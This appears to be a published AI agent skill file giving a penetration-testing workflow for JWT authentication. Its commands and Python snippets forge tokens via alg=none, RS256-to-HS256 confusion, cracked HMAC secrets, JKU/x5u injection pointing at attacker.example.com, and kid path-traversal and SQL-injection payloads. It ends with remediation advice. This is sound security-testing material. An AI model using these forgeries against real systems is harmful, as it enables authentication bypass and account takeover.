Agent skill
testing-jwt-token-security
Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
Install this agent skill to your Project
npx add-skill https://github.com/autohandai/community-skills/tree/main/testing-jwt-token-security
SKILL.md
Testing JWT Token Security
When to Use
- During authorized penetration tests when the application uses JWT for authentication or authorization
- When assessing API security where JWTs are passed as Bearer tokens or in cookies
- For evaluating SSO implementations that use JWT/JWS/JWE tokens
- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
- During security audits of microservice architectures using JWT for inter-service authentication
Prerequisites
- Authorization: Written penetration testing agreement for the target
- jwt_tool: JWT attack toolkit (
pip install jwt_toolorgit clone https://github.com/ticarpi/jwt_tool.git) - Burp Suite Professional: With JSON Web Token extension from BApp Store
- Python PyJWT: For scripting custom JWT attacks (
pip install pyjwt) - Hashcat: For brute-forcing HMAC secrets (
apt install hashcat) - jq: For JSON processing
- Target JWT: A valid JWT token from the application
Workflow
Step 1: Decode and Analyze the JWT Structure
Extract and examine the header, payload, and signature components.
# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"
# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)
Step 2: Test Algorithm None Attack
Attempt to forge tokens by setting the algorithm to "none".
# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
Step 3: Test Algorithm Confusion (RS256 to HS256)
If the server uses RS256, try switching to HS256 and signing with the public key.
# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl
# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create forged payload
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
Step 4: Brute-Force HMAC Secret
If HS256 is used, attempt to crack the signing secret.
# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
Step 5: Test JWT Claim Manipulation and Injection
Modify JWT claims to escalate privileges or bypass authorization.
# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
# Test common claim attacks:
# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL
# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)
# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "admin@target.com" \
-pc role -pv "superadmin"
Step 6: Test Token Lifetime and Revocation
Assess token expiration enforcement and revocation capabilities.
# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# Test token with far-future expiration
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout
# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT
Key Concepts
| Concept | Description |
|---|---|
| Algorithm None Attack | Removing signature verification by setting alg to none |
| Algorithm Confusion | Switching from RS256 to HS256 and signing with the public key as HMAC secret |
| HMAC Brute Force | Cracking weak HS256 signing secrets using wordlists or brute force |
| JKU/x5u Injection | Pointing JWT header URLs to attacker-controlled key servers |
| KID Injection | Exploiting SQL injection or path traversal in the Key ID header parameter |
| Claim Tampering | Modifying payload claims (role, sub, permissions) after compromising the signing key |
| Token Revocation | The ability (or inability) to invalidate tokens before their expiration |
| JWE vs JWS | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |
Tools & Systems
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing toolkit with automated attack modules |
| Burp JWT Editor | Burp Suite extension for real-time JWT manipulation |
| Hashcat | GPU-accelerated HMAC secret brute-forcing (mode 16500) |
| John the Ripper | CPU-based JWT secret cracking |
| PyJWT | Python library for programmatic JWT creation and manipulation |
| jwt.io | Online JWT decoder for quick analysis (do not paste production tokens) |
Common Scenarios
Scenario 1: Algorithm None Bypass
The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
Scenario 2: Weak HMAC Secret
The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
Scenario 3: Algorithm Confusion on SSO
An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
Scenario 4: KID SQL Injection
The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.
Output Format
## JWT Security Finding
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures
### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
mapping-mitre-attack-techniques
Maps observed adversary behaviors, security alerts, and detection rules to MITRE ATT&CK techniques and sub-techniques to quantify detection coverage and guide control prioritization. Use when building an ATT&CK-based coverage heatmap, tagging SIEM alerts with technique IDs, aligning security controls to adversary playbooks, or reporting threat exposure to executives. Activates for requests involving ATT&CK Navigator, Sigma rules, MITRE D3FEND, or coverage gap analysis.
hunting-for-spearphishing-indicators
Hunt for spearphishing campaign indicators across email logs, endpoint telemetry, and network data to detect targeted email attacks.
analyzing-malicious-url-with-urlscan
URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat
implementing-zero-standing-privilege-with-cyberark
Deploy CyberArk Secure Cloud Access to eliminate standing privileges in hybrid and multi-cloud environments using just-in-time access with time, entitlement, and approval controls.
implementing-pam-for-database-access
Deploy privileged access management for database systems including Oracle, SQL Server, PostgreSQL, and MySQL. Covers session proxy configuration, credential vaulting, query auditing, dynamic credentia
detecting-t1003-credential-dumping-with-edr
Detect OS credential dumping techniques targeting LSASS memory, SAM database, NTDS.dit, and cached credentials using EDR telemetry, Sysmon process access monitoring, and Windows security event correlation.
Didn't find tool you were looking for?